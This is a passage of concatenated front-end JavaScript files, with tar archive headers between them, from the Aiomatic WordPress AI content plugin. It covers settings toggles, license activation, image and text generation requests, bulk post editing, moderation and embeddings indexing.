if(jQuery('#embeddings_bulk').is(":checked")) { jQuery(".hideEmbeddingsContent").show(); } else { jQuery(".hideEmbeddingsContent").hide(); } } function internetChanged() { if(jQuery('#internet_bulk').is(":checked")) { jQuery(".hideInternetContent").show(); } else { jQuery(".hideInternetContent").hide(); } } function imgChanged() { if(jQuery('#random_image_sources').is(":checked")) { jQuery(".hideImgs").show(); } else { jQuery(".hideImgs").hide(); } } function imgCopyChanged() { if(jQuery("#copy_locally option:selected").val() === 'amazon') { jQuery(".hideCompress").show(); } else { if(jQuery("#copy_locally option:selected").val() === 'digital') { jQuery(".hideCompress").show(); } else { if(jQuery("#copy_locally option:selected").val() === 'wasabi') { jQuery(".hideCompress").show(); } else { if(jQuery("#copy_locally option:selected").val() === 'cloudflare') { jQuery(".hideCompress").show(); } else { if(jQuery("#copy_locally option:selected").val() === 'on') { jQuery(".hideCompress").show(); } else { jQuery(".hideCompress").hide(); } } } } } } function kwChanged() { if(jQuery('#kw_method').val() == 'ai') { jQuery(".kwai").show(); jQuery(".kwbuiltin").hide(); } else { jQuery(".kwai").hide(); jQuery(".kwbuiltin").show(); } } function taxSeoChanged() { if(jQuery('#tax_seo_auto').val() == 'write') { jQuery(".TaxSEO").show(); } else { jQuery(".TaxSEO").hide(); } } function imageAIChanged() { if(jQuery('#use_image_ai').is(":checked")) { jQuery(".hideimgai").show(); } else { jQuery(".hideimgai").hide(); } } function ytKwChanged() { if(jQuery('#improve_yt_kw').is(":checked")) { jQuery(".hideytkw").show(); } else { jQuery(".hideytkw").hide(); } } function embChanged() { if(jQuery('#rewrite_embedding').is(":checked")) { jQuery(".hideEmb").show(); } else { jQuery(".hideEmb").hide(); } } function keyUpdated() { var enteredText = jQuery('#app_id').val(); if(enteredText !== undefined) { var numberOfLineBreaks = (enteredText.match(/\n/g)||[]).length; if(numberOfLineBreaks > 0) { jQuery(".multiplehide").show(); } else { jQuery(".multiplehide").hide(); } } } function mainChanged() { if(jQuery('#aiomatic-logo').length) { return; } imgCopyChanged(); imgChanged(); embeddingsChanged(); internetChanged(); taxSeoChanged(); ytKwChanged(); imageAIChanged(); keyUpdated(); embChanged(); kwChanged(); if(jQuery('.input-checkbox-ai').is(":checked")) { jQuery(".hideMain").show(); } else { jQuery(".hideMain").hide(); } if(jQuery("#spin_text option:selected").val() === 'best' || jQuery("#spin_text option:selected").val() === 'wordai' || jQuery("#spin_text option:selected").val() === 'spinrewriter' || jQuery("#spin_text option:selected").val() === 'spinnerchief' || jQuery("#spin_text option:selected").val() === 'chimprewriter' || jQuery("#spin_text option:selected").val() === 'contentprofessor') { jQuery(".hideBest").show(); } else { jQuery(".hideBest").hide(); } if(jQuery("#spin_text option:selected").val() === 'spinnerchief') { jQuery(".hideChief").show(); } else { jQuery(".hideChief").hide(); } if(jQuery("#spin_text option:selected").val() === 'spinrewriter') { jQuery(".hideSpinRewriterSpecific").show(); } else { jQuery(".hideSpinRewriterSpecific").hide(); } if (mycustommainsettings.best_user == '' || mycustommainsettings.best_password == '') { if(jQuery("#spin_text option:selected").val() === 'best') { jQuery("#bestspin").show(); } else { jQuery("#bestspin").hide(); } if(jQuery("#spin_text option:selected").val() === 'wordai') { jQuery("#wordai").show(); } else { jQuery("#wordai").hide(); } if(jQuery("#spin_text option:selected").val() === 'spinrewriter') { jQuery("#spinrewriter").show(); } else { jQuery("#spinrewriter").hide(); } if(jQuery("#spin_text option:selected").val() === 'spinnerchief') { jQuery("#spinnerchief").show(); } else { jQuery("#spinnerchief").hide(); } if(jQuery("#spin_text option:selected").val() === 'chimprewriter') { jQuery("#chimprewriter").show(); } else { jQuery("#chimprewriter").hide(); } if(jQuery("#spin_text option:selected").val() === 'contentprofessor') { jQuery("#contentprofessor").show(); } else { jQuery("#contentprofessor").hide(); } } else { if(initial == '') { initial = jQuery("#spin_text option:selected").val(); } if(initial != '' && initial != jQuery("#spin_text option:selected").val()) { if(jQuery("#spin_text option:selected").val() === 'best') { jQuery("#bestspin").show(); } else { jQuery("#bestspin").hide(); } if(jQuery("#spin_text option:selected").val() === 'wordai') { jQuery("#wordai").show(); } else { jQuery("#wordai").hide(); } if(jQuery("#spin_text option:selected").val() === 'spinrewriter') { jQuery("#spinrewriter").show(); } else { jQuery("#spinrewriter").hide(); } if(jQuery("#spin_text option:selected").val() === 'spinnerchief') { jQuery("#spinnerchief").show(); } else { jQuery("#spinnerchief").hide(); } if(jQuery("#spin_text option:selected").val() === 'chimprewriter') { jQuery("#chimprewriter").show(); } else { jQuery("#chimprewriter").hide(); } if(jQuery("#spin_text option:selected").val() === 'contentprofessor') { jQuery("#contentprofessor").show(); } else { jQuery("#contentprofessor").hide(); } } else { jQuery("#spinrewriter").hide(); jQuery("#spinnerchief").hide(); jQuery("#chimprewriter").hide(); jQuery("#contentprofessor").hide(); jQuery("#wordai").hide(); jQuery("#bestspin").hide(); } } if(jQuery('#send_email').is(":checked")) { jQuery(".hideMail").show(); } else { jQuery(".hideMail").hide(); } if(jQuery('#enable_logging').is(":checked")) { jQuery(".hideLog").show(); } else { jQuery(".hideLog").hide(); } if(jQuery('#skip_old').is(":checked")) { jQuery(".hideOld").show(); } else { jQuery(".hideOld").hide(); } } window.onload = mainChanged; jQuery(document).ready(function(){ jQuery('span.wpaiomatic-delete').on('click', function(){ var confirm_delete = confirm('Are you sure you want to delete this rule?'); if (confirm_delete) { var dataid = jQuery(this).attr('data-id'); if(dataid !== undefined && dataid !== null) { jQuery('.aiuniq-' + dataid).remove(); } else { jQuery(this).parent().parent().remove(); } jQuery('#myForm').submit(); } }); var plugin_slug = mycustomsettings.plugin_slug; jQuery('#' + plugin_slug + '_register').on('click', function() { var ajaxurl = mycustomsettings.ajaxurl; var nonce = jQuery('#' + plugin_slug + '_activation_nonce').val(); var code = jQuery('#' + plugin_slug + '_register_code').val(); if(code == '') { alert('You need to enter a purchase code for the activation to work.'); } else { var thisbut = jQuery(this); aiomaticLoading(thisbut); var data = { action: 'aiomatic_activation', code: code, nonce: nonce }; jQuery.post(ajaxurl, data, function(response) { aiomaticRmLoading(thisbut); if(response.trim() == 'ok') { location.reload(); } else { alert('Error in registration process: ' + response); } }).fail( function(xhr) { aiomaticRmLoading(thisbut); alert('Exception in registration process: ' + xhr.statusText); }); } }); jQuery('#' + plugin_slug + '_revoke_license').on('click', function() { var confirm_delete = confirm('Are you sure you want to revoke your license?'); if (confirm_delete) { var ajaxurl = mycustomsettings.ajaxurl; var nonce = jQuery('#' + plugin_slug + '_activation_nonce').val(); var thisbut = jQuery(this); aiomaticLoading(thisbut); var data = { action: 'aiomatic_revoke', nonce: nonce }; jQuery.post(ajaxurl, data, function(response) { aiomaticRmLoading(thisbut); if(response.trim() == 'ok') { location.reload(); } else { alert('Error in revoking process: ' + response); } }).fail( function(xhr) { aiomaticRmLoading(thisbut); alert('Exception in revoking process: ' + xhr.statusText); }); } }); }); var unsaved = false; jQuery(document).ready(function () { jQuery("#api_selector").on('change', function(){ if(jQuery("#api_selector").val() === 'azure') { jQuery(".azurehide").show(); jQuery(".openhide").hide(); jQuery("#apilinks").html("<a href='https://portal.azure.com/?microsoft_azure_marketplace_ItemHideKey=microsoft_openai_tip#home' target='_blank'>Azure</a>"); } else { jQuery(".azurehide").hide(); jQuery(".openhide").show(); jQuery("#apilinks").html("<a href='https://platform.openai.com/api-keys' target='_blank'>OpenAI</a> / <a href='https://aiomaticapi.com/api-keys/' target='_blank'>AiomaticAPI</a>"); } }); if(jQuery("#api_selector").val() === 'azure') { jQuery(".azurehide").show(); jQuery(".openhide").hide(); jQuery("#apilinks").html("<a href='https://portal.azure.com/?microsoft_azure_marketplace_ItemHideKey=microsoft_openai_tip#home' target='_blank'>Azure</a>"); } else { jQuery(".azurehide").hide(); jQuery(".openhide").show(); jQuery("#apilinks").html("<a href='https://platform.openai.com/api-keys' target='_blank'>OpenAI</a> / <a href='https://aiomaticapi.com/api-keys/' target='_blank'>AiomaticAPI</a>"); } jQuery(":input").on('change', function(){ var classes = this.className; var classes = this.className.split(' '); var found = jQuery.inArray('actions', classes) > -1; if (this.id != 'select-shortcode' && this.id != 'PreventChromeAutocomplete' && this.className != 'sc_chat_form_field_prompt_text' && this.id != 'actions' && !found) { unsaved = true; } }); function unloadPage(){ if(unsaved){ return "You have unsaved changes on this page. Do you want to leave this page and discard your changes or stay on this page?"; } } window.onbeforeunload = unloadPage; }); function revealRec(){document.getElementById("diviIdrec").innerHTML = '<br/>We recommend that you check <b><a href="https://www.elegantthemes.com/affiliates/idevaffiliate.php?id=50837_5_1_16" target="_blank">Divi theme</a></b>, by <b><a href="https://www.elegantthemes.com/affiliates/idevaffiliate.php?id=50837_1_1_3" target="_blank">ElegantThemes</a></b>! It is easy to configure and it looks gorgeous. Check it out now!<br/><br/><a href="https://www.elegantthemes.com/affiliates/idevaffiliate.php?id=50837_5_1_19" target="_blank" rel="nofollow"><img style="border:0px" src="https://3.bp.blogspot.com/-h9TLQozNO6Q/W92Sk80zwjI/AAAAAAAAAjg/JC8sFWAUPzseR4nnjhVNbRQmCnr1ZMu4gCLcBGAs/s1600/divi.jpg" width="468" height="60" alt="Divi WordPress Theme"></a>';}���������������������������������������������������������������������������������������������������������������������������������������������������������scripts/openai-image-ajax.js������������������������������������������������������������������������0000644�����������������00000013365�14757771437�0012103 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function openaiimagefunct(uniqid) { jQuery('#aiimagesubmitbut' + uniqid).attr('disabled', true); var instructionx = jQuery('#aiomatic_image_instruction' + uniqid); var instruction = instructionx.val(); if(instruction == '') { jQuery('#aiimagesubmitbut' + uniqid).attr('disabled', false); jQuery('#openai-image-response' + uniqid).html('<div class="text-primary highlight-text-fail" role="status">Please add a prompt in the input field.</div>'); console.log('Instruction cannot be empty.'); return; } var image_placeholder = aiomatic_image_ajax_object.image_placeholder; jQuery("#aiomatic_image_response" + uniqid).attr("src", image_placeholder).fadeIn(); var image_size = aiomatic_image_ajax_object.image_size; var input_model = jQuery('#image_model' + uniqid); if(input_model !== undefined) { var image_model = input_model.val(); } else { var image_model = aiomatic_image_ajax_object.image_model; } var user_token_cap_per_day = aiomatic_image_ajax_object.user_token_cap_per_day; var user_id = aiomatic_image_ajax_object.user_id; // Show the loading animation jQuery('#openai-image-response' + uniqid).html('<div class="automaticx-dual-ring"></div>'); if(image_size == 'default' || image_size == '') { image_size = jQuery( "#ai-image-size-selector" + uniqid + " option:selected" ).text(); } jQuery.ajax({ type: 'POST', url: aiomatic_image_ajax_object.ajax_url, data: { action: 'aiomatic_image_ajax_submit', instruction: instruction, image_size: image_size, user_token_cap_per_day: user_token_cap_per_day, nonce: aiomatic_image_ajax_object.nonce, user_id: user_id, image_model: image_model }, success: function(response) { if(typeof response === 'string' || response instanceof String) { try { var responset = JSON.parse(response); response = responset; } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + response); } } if(response.status == 'success') { if(response.data == '') { jQuery('#openai-image-response' + uniqid).html('<div class="text-primary" role="status">No image was returned. Please try using a different text input.</div>'); jQuery("#aiomatic_image_response" + uniqid).attr("src", '').fadeIn(); } else { jQuery("#aiomatic_image_response" + uniqid).attr("src", response.data).fadeIn(); jQuery('#openai-image-response' + uniqid).html(''); } } else { if(typeof response.msg !== 'undefined') { jQuery('#openai-image-response' + uniqid).html('<div class="text-primary highlight-text-fail" role="status">' + response.msg + '</div>'); } else { console.log('Error: ' + response); jQuery('#openai-image-response' + uniqid).html('<div class="text-primary highlight-text-fail" role="status">Processing failed, please try again</div>'); } jQuery("#aiomatic_image_response" + uniqid).attr("src", '').fadeIn(); } jQuery('#aiimagesubmitbut' + uniqid).attr('disabled', false); }, error: function(error) { console.log('Error: ' + error.responseText); jQuery("#aiomatic_image_response" + uniqid).attr("src", '').fadeIn(); // Clear the response container jQuery('#openai-image-response' + uniqid).html('<div class="text-primary highlight-text-fail" role="status">Failed to generate image content, try again later.</div>'); // Enable the submit button jQuery('#aiimagesubmitbut' + uniqid).attr('disabled', false); }, }); } var recognition; var recognizing = false; jQuery(document).ready(function() { if(!jQuery('#aiomatic_image_templates').length) { // Check if the browser supports the Web Speech API if ('webkitSpeechRecognition' in window) { recognition = new webkitSpeechRecognition(); recognition.continuous = true; recognition.interimResults = true; // Start the speech recognition when the button is clicked jQuery('#openai-image-speech-button').on('click', function() { if (recognizing) { recognition.stop(); recognizing = false; } else { recognition.start(); recognizing = true; } }); // Handle the speech recognition results recognition.onresult = function(event) { for (var i = event.resultIndex; i < event.results.length; ++i) { if (event.results[i].isFinal) { jQuery('#aiomatic_image_instruction').val(jQuery('#aiomatic_image_instruction').val() + " " + event.results[i][0].transcript); } } }; } } else { jQuery('#aiomatic_image_templates').on('change', function() { jQuery('#aiomatic_image_instruction').val(jQuery( "#aiomatic_image_templates" ).val()); }); } });���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/bulk-editor.js������������������������������������������������������������������������������0000644�����������������00000017272�14757771437�0011051 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function actionsChangedManual(selectedValue) { if(unsaved){ alert("You have unsaved changes on this page. Please save your changes before manually running rules!"); return; } if (selectedValue==='run') { runNowManual(); } else { testNowManual(); } } var unsaved = false; jQuery(document).ready(function () { aiomatic_edit_changed(); sameChanged(); jQuery(":input").on('change', function(){ var classes = this.className; var classes = this.className.split(' '); var found = jQuery.inArray('actions', classes) > -1; if (this.id != 'select-shortcode' && this.id != 'PreventChromeAutocomplete' && this.className != 'sc_chat_form_field_prompt_text' && this.id != 'actions' && !found) { unsaved = true; } }); jQuery("#process_event").on('change', function(){ var pe = jQuery( "#process_event" ).val(); if(pe == 'publish') { jQuery( ".hidethis" ).show(); } else { jQuery( ".hidethis" ).hide(); } }); function unloadPage(){ if(unsaved){ return "You have unsaved changes on this page. Do you want to leave this page and discard your changes or stay on this page?"; } } window.onbeforeunload = unloadPage; var pe = jQuery( "#process_event" ).val(); if(pe == 'publish') { jQuery( ".hidethis" ).show(); } else { jQuery( ".hidethis" ).hide(); } }); function aiomatic_edit_changed() { var auto_edit = jQuery( "#auto_edit" ).val(); if(auto_edit == 'wp') { jQuery( ".hideexternal" ).hide(); jQuery( ".hidewp" ).show(); } else { if(auto_edit == 'external') { jQuery( ".hideexternal" ).show(); jQuery( ".hidewp" ).hide(); } else { jQuery( ".hideexternal" ).hide(); jQuery( ".hidewp" ).hide(); } } } function sameChanged() { if(jQuery("#no_twice").is(':checked')) { jQuery( ".hideField" ).show(); } else { jQuery( ".hideField" ).hide(); } } function myAIGetDateTime() { var now = new Date(); var year = now.getFullYear(); var month = now.getMonth()+1; var day = now.getDate(); var hour = now.getHours(); var minute = now.getMinutes(); var second = now.getSeconds(); if(month.toString().length == 1) { month = '0'+month; } if(day.toString().length == 1) { day = '0'+day; } if(hour.toString().length == 1) { hour = '0'+hour; } if(minute.toString().length == 1) { minute = '0'+minute; } if(second.toString().length == 1) { second = '0'+second; } var dateTime = year+'-'+month+'-'+day+' '+hour+':'+minute+':'+second; return dateTime; } function runNowManual() { if (confirm("Are you sure you want to run bulk AI post editing?") == true) { document.getElementById("run_img").style.visibility = "visible"; document.getElementById("run_img").src = mybulksettings.plugin_dir_url + "images/running.gif"; var data = { action: 'aiomatic_run_my_bulk_action', nonce: mybulksettings.nonce }; var pollingInterval; function startPolling() { pollingInterval = setInterval(function() { jQuery.get(mybulksettings.ajaxurl, { action: 'aiomatic_check_process_status', nonce: mybulksettings.nonce }, function(response) { if (response.status === 'success') { var datetime = myAIGetDateTime(); jQuery('#running_status_ai').html('<hr/><b>Activity Log:</b><br/><br/>' + datetime + ':<br/> ' + response.msg); } else { console.log('Failed to poll results: ' + response); clearInterval(pollingInterval); } }).fail(function(xhr) { clearInterval(pollingInterval); console.log('Exception in results polling: ' + JSON.stringify(xhr)); }); }, 3000); } jQuery.post(mybulksettings.ajaxurl, data, function(response) { if(response.trim() == 'ok') { document.getElementById("run_img").src = mybulksettings.plugin_dir_url + "images/ok.gif"; } else { if(response.trim() == 'nochange') { document.getElementById("run_img").src = mybulksettings.plugin_dir_url + "images/nochange.gif"; } else { document.getElementById("run_img").src = mybulksettings.plugin_dir_url + "images/failed.gif"; } } if(mybulksettings.more_logs == '1') { clearInterval(pollingInterval); } }).fail( function(xhr) { console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details. Ajax URL: ' + mybulksettings.ajaxurl); document.getElementById("run_img").src = mybulksettings.plugin_dir_url + "images/failed.gif"; alert('Server returned error while processing: "' + xhr.statusText + '", please check plugin\'s \'Activity and Logging\' menu for details.'); if(mybulksettings.more_logs == '1') { clearInterval(pollingInterval); } }); if(mybulksettings.more_logs == '1') { startPolling(); } } else { return; } } function testNowManual() { document.getElementById("run_img").style.visibility = "visible"; document.getElementById("run_img").src = mybulksettings.plugin_dir_url + "images/running.gif"; var data = { action: 'aiomatic_run_my_bulk_action_test', nonce: mybulksettings.nonce }; jQuery.post(mybulksettings.ajaxurl, data, function(response) { var results_shower = document.getElementById("results_shower"); if(response.trim() == 'nochange') { results_shower.innerHTML = 'No posts matched your query'; document.getElementById("run_img").src = mybulksettings.plugin_dir_url + "images/nochange.gif"; } else if(response.trim() == 'fail') { results_shower.innerHTML = 'Testing failed'; document.getElementById("run_img").src = mybulksettings.plugin_dir_url + "images/failed.gif"; } else { results_shower.innerHTML = 'Affected post ID list: ' + response; document.getElementById("run_img").src = mybulksettings.plugin_dir_url + "images/ok.gif"; } }).fail( function(xhr) { results_shower.innerHTML = 'Exception occurred in running'; console.log('Error occured in processing: ' + xhr.statusText + ' - please check plugin\'s \'Activity and Logging\' menu for details. Ajax URL: ' + mybulksettings.ajaxurl); document.getElementById("run_img").src = mybulksettings.plugin_dir_url + "images/failed.gif"; alert('Server returned error while processing: "' + xhr.statusText + '", please check plugin\'s \'Activity and Logging\' menu for details.'); }); }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/openai-completion-ajax.js�������������������������������������������������������������������0000644�����������������00000025126�14757771437�0013170 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function openaifunct() { jQuery('#aisubmitbut').attr('disabled', true); var input_text = jQuery('#aiomatic_input').html(); if(input_text == '') { jQuery('#aisubmitbut').attr('disabled', false); jQuery('#openai-response').html('<div class="text-primary highlight-text-fail" role="status">Please add a text in the input field.</div>'); console.log('Input cannot be empty.'); return; } // Show the loading animation jQuery('#openai-response').html('<div class="automaticx-dual-ring"></div>'); var model = aiomatic_completition_ajax_object.model; var temp = aiomatic_completition_ajax_object.temp; var top_p = aiomatic_completition_ajax_object.top_p; var presence = aiomatic_completition_ajax_object.presence; var frequency = aiomatic_completition_ajax_object.frequency; var user_token_cap_per_day = aiomatic_completition_ajax_object.user_token_cap_per_day; var user_id = aiomatic_completition_ajax_object.user_id; if(model == 'default' || model == '') { model = jQuery( "#model-selector option:selected" ).text(); } if(temp == 'default' || temp == '') { temp = jQuery('#temperature-input').val(); } if(top_p == 'default' || top_p == '') { top_p = jQuery('#top_p-input').val(); } if(presence == 'default' || presence == '') { presence = jQuery('#presence-input').val(); } if(frequency == 'default' || frequency == '') { frequency = jQuery('#frequency-input').val(); } var assistant_id = jQuery('#aix-assistant-id').val(); jQuery.ajax({ type: 'POST', url: aiomatic_completition_ajax_object.ajax_url, data: { action: 'aiomatic_form_submit', input_text: input_text, nonce: aiomatic_completition_ajax_object.nonce, model: model, assistant_id: assistant_id, temp: temp, top_p: top_p, presence: presence, user_token_cap_per_day: user_token_cap_per_day, frequency: frequency, user_id: user_id }, success: function(response) { if(typeof response === 'string' || response instanceof String) { try { var responset = JSON.parse(response); response = responset; } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + response); } } if(response.status == 'success') { if(response.data == '') { jQuery('#openai-response').html('<div class="text-primary" role="status">AI considers this as the end of the text. Please try using a different text input.</div>'); } else { jQuery('#openai-response').html('<div class="openchat-dots-bars-2"></div>'); var i = 0; response.data = response.data.replace(/\n/g, '<br>'); function typeWriter() { if (i < response.data.length) { // Append the response to the input field jQuery('#aiomatic_input').html(input_text + '<span class="highlight-green">' + response.data.substring(0, i + 1) + '</span>'); i++; setTimeout(typeWriter, 50); } else { // Clear the response container jQuery('#openai-response').html(''); // Enable the submit button jQuery('#aisubmitbut').attr('disabled', false); } } typeWriter(); } } else { if(typeof response.msg !== 'undefined') { jQuery('#openai-response').html('<div class="text-primary highlight-text-fail" role="status">' + response.msg + '</div>'); } else { console.log('Error: ' + response); jQuery('#openai-response').html('<div class="text-primary highlight-text-fail" role="status">Processing failed, please try again</div>'); } } jQuery('#aisubmitbut').attr('disabled', false); }, error: function(error) { console.log('Error: ' + error.responseText); // Clear the response container jQuery('#openai-response').html('<div class="text-primary highlight-text-fail" role="status">Failed to generate content, try again later.</div>'); // Enable the submit button jQuery('#aisubmitbut').attr('disabled', false); }, }); } function getCaretCharacterOffsetWithin(element) { var caretOffset = 0; var doc = element.ownerDocument || element.document; var win = doc.defaultView || doc.parentWindow; var sel; if (typeof win.getSelection != "undefined") { sel = win.getSelection(); if (sel.rangeCount > 0) { var range = win.getSelection().getRangeAt(0); var preCaretRange = range.cloneRange(); preCaretRange.selectNodeContents(element); preCaretRange.setEnd(range.endContainer, range.endOffset); caretOffset = preCaretRange.toString().length; } } else if ((sel = doc.selection) && sel.type != "Control") { var textRange = sel.createRange(); var preCaretTextRange = doc.body.createTextRange(); preCaretTextRange.moveToElementText(element); preCaretTextRange.setEndPoint("EndToEnd", textRange); caretOffset = preCaretTextRange.text.length; } return caretOffset; } // Function to get the current cursor position in an element function aigetCursorPos(el) { var range = window.getSelection().getRangeAt(0); var preCaretRange = range.cloneRange(); preCaretRange.selectNodeContents(el); preCaretRange.setEnd(range.endContainer, range.endOffset); return preCaretRange.toString().length; } // Function to set the cursor position in an element function aisetCursorPos(el, pos) { var range = document.createRange(); var sel = window.getSelection(); var inputText = el.innerText; // Check if the cursor position is over the length of the input text if (pos > inputText.length) { pos = inputText.length; } var currentPos = 0; // Iterate through the child nodes to find the node where the cursor position is for (var i = 0; i < el.childNodes.length; i++) { var childNode = el.childNodes[i]; if (currentPos + childNode.length >= pos) { // Set the cursor position in the current child node range.setStart(childNode, pos - currentPos); range.collapse(true); sel.removeAllRanges(); sel.addRange(range); break; } else { currentPos += childNode.length; } } } var recognition; var recognizing = false; var aidecodeHtmlEntity = function(str) { return str.replace(/&#(\d+);/g, function(match, dec) { return String.fromCharCode(dec); }); }; jQuery(document).ready(function() { jQuery('#copy-button').on('click', function() { var jsf = jQuery("#aiomatic_input").clone() .find("br").replaceWith("\n") .end() .text(); if(navigator.clipboard !== undefined) { navigator.clipboard.writeText(jsf); } }); jQuery('#aiomatic_input').on('keydown', function() { var inputText = this.innerHTML; if (inputText.includes('class="highlight-green"')) { var restore = saveCaretPosition(this); var strippedInputText = inputText.replace(/class="highlight-green"/g, 'class="highlight-none"'); this.innerHTML = strippedInputText; restore(); } }); function saveCaretPosition(context) { var selection = window.getSelection(); var range = selection.getRangeAt(0); range.setStart(context, 0); var len = range.toString().length; return function restore() { var pos = getTextNodeAtPosition(context, len); selection.removeAllRanges(); var range = new Range(); range.setStart(pos.node, pos.position); selection.addRange(range); } } function getTextNodeAtPosition(root, index) { const NODE_TYPE = NodeFilter.SHOW_TEXT; var treeWalker = document.createTreeWalker(root, NODE_TYPE, function next(elem) { if (index > elem.textContent.length) { index -= elem.textContent.length; return NodeFilter.FILTER_REJECT } return NodeFilter.FILTER_ACCEPT; }); var c = treeWalker.nextNode(); return { node: c ? c : root, position: index }; } if(!jQuery('#aiomatic_completion_templates').length) { // Check if the browser supports the Web Speech API if ('webkitSpeechRecognition' in window) { recognition = new webkitSpeechRecognition(); recognition.continuous = true; recognition.interimResults = true; // Start the speech recognition when the button is clicked jQuery('#openai-speech-button').on('click', function() { if (recognizing) { recognition.stop(); recognizing = false; } else { recognition.start(); recognizing = true; } }); // Handle the speech recognition results recognition.onresult = function(event) { for (var i = event.resultIndex; i < event.results.length; ++i) { if (event.results[i].isFinal) { jQuery('#aiomatic_input').append(event.results[i][0].transcript); } } }; } } else { jQuery('#aiomatic_completion_templates').on('change', function() { jQuery('#aiomatic_input').html(jQuery( "#aiomatic_completion_templates" ).val()); }); } });������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/moderation.js�������������������������������������������������������������������������������0000644�����������������00000006441�14757771437�0010765 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; jQuery(document).ready(function(){ function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn){ btn.removeAttr('disabled'); btn.find('.spinner').remove(); } jQuery('#button-start-moderation').on('click', function (e){ e.preventDefault(); var error_message = false; var inputv = jQuery('#aiomatic_moderation_input'); if(inputv.val() === ''){ error_message = 'Please enter a text to moderate!'; } if(error_message){ alert(error_message) } else{ aiomaticModerate(inputv.val()); } return false; }); function aiomaticModerate(text){ var btn = jQuery('#button-start-moderation'); var aiomatic_error_message = jQuery('#aiomatic-error-msg'); var aiomatic_upload_success = jQuery('#aiomatic_moderation_success'); var aiomatic_progress = jQuery('#aiomatic_progress'); var data = { action: 'aiomatic_moderate_text', text: text, nonce: aiomatic_moderation_object.nonce }; jQuery.ajax({ url: aiomatic_moderation_object.ajax_url, data: data, type: 'POST', xhr: function () { var xhr = jQuery.ajaxSettings.xhr(); xhr.upload.addEventListener("progress", function (evt) { if (evt.lengthComputable) { var percentComplete = evt.loaded / evt.total; aiomatic_progress.find('span').css('width', (Math.round(percentComplete * 100)) + '%'); } }, false); return xhr; }, beforeSend: function () { aiomatic_progress.find('span').css('width', '0'); aiomatic_progress.show(); aiomatic_progress.css('visibility','visible'); aiomaticLoading(btn); aiomatic_error_message.hide(); aiomatic_upload_success.hide(); }, success: function (res) { if (res.status === 'success') { aiomaticRmLoading(btn); aiomatic_progress.hide(); aiomatic_upload_success.show(); aiomatic_upload_success.css('visibility','visible'); var obj = JSON.parse(res.data); var pretty = JSON.stringify(obj, undefined, 4); jQuery('#aiomatic_moderation_result').text(pretty); } else { aiomaticRmLoading(btn); aiomatic_progress.find('small').html('Error'); aiomatic_progress.addClass('aiomatic_error'); aiomatic_error_message.html(res.msg); aiomatic_error_message.show(); aiomatic_error_message.css('visibility','visible'); } }, error: function () { aiomaticRmLoading(btn); aiomatic_progress.addClass('aiomatic_error'); aiomatic_progress.find('small').html('Error'); aiomatic_error_message.html('Please try again'); aiomatic_error_message.show(); aiomatic_error_message.css('visibility','visible'); } }); } });�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/openai-vision.js����������������������������������������������������������������������������0000644�����������������00000001620�14757771437�0011376 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; jQuery(document).ready( function($) { jQuery('body').on('click', '#aivisionbut' + aiomatic_vision_object.chatid, function(e) { $('#aiomatic_vision_input' + aiomatic_vision_object.chatid).click(); }); jQuery('body').on('change', '#aiomatic_vision_input' + aiomatic_vision_object.chatid, function(e) { var vision_input = jQuery('#aiomatic_vision_input' + aiomatic_vision_object.chatid); if (vision_input[0] !== undefined && vision_input[0].files !== undefined && vision_input[0].files[0] !== undefined && vision_input[0].files && vision_input[0].files[0]) { $('#aivisionbut' + aiomatic_vision_object.chatid).css("background-color", aiomatic_vision_object.bg_color); } else { $('#aivisionbut' + aiomatic_vision_object.chatid).css("background-color", ""); } }); });����������������������������������������������������������������������������������������������������������������scripts/embeddings.js�������������������������������������������������������������������������������0000644�����������������00000057404�14757771437�0010732 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function actionsEmbChangedManual(selectedValue) { if (selectedValue==='run') { runNowEmbManual(); } } function runNowEmbManual() { if (confirm("Are you sure you want to run bulk embeddings indexing?") == true) { document.getElementById("run_img").style.visibility = "visible"; document.getElementById("run_img").src = aiomatic_emb_object.plugin_dir_url + "images/running.gif"; if(jQuery('#author_id') !== undefined) { var author_id = jQuery('#author_id').val(); if(author_id === undefined || author_id === null) { author_id = ''; } } else { var author_id = ''; } if(jQuery('#author_name') !== undefined) { var author_name = jQuery('#author_name').val(); if(author_name === undefined || author_name === null) { author_name = ''; } } else { var author_name = ''; } if(jQuery('#category_name') !== undefined) { var category_name = jQuery('#category_name').val(); if(category_name === undefined || category_name === null) { category_name = ''; } } else { var category_name = ''; } if(jQuery('#tag_name') !== undefined) { var tag_name = jQuery('#tag_name').val(); if(tag_name === undefined || tag_name === null) { tag_name = ''; } } else { var tag_name = ''; } if(jQuery('#post_id') !== undefined) { var post_id = jQuery('#post_id').val(); if(post_id === undefined || post_id === null) { post_id = ''; } } else { var post_id = ''; } if(jQuery('#post_name') !== undefined) { var post_id = jQuery('#post_name').val(); if(post_id === undefined || post_id === null) { post_id = ''; } } else { var post_name = ''; } if(jQuery('#pagename') !== undefined) { var pagename = jQuery('#pagename').val(); if(pagename === undefined || pagename === null) { pagename = ''; } } else { var pagename = ''; } 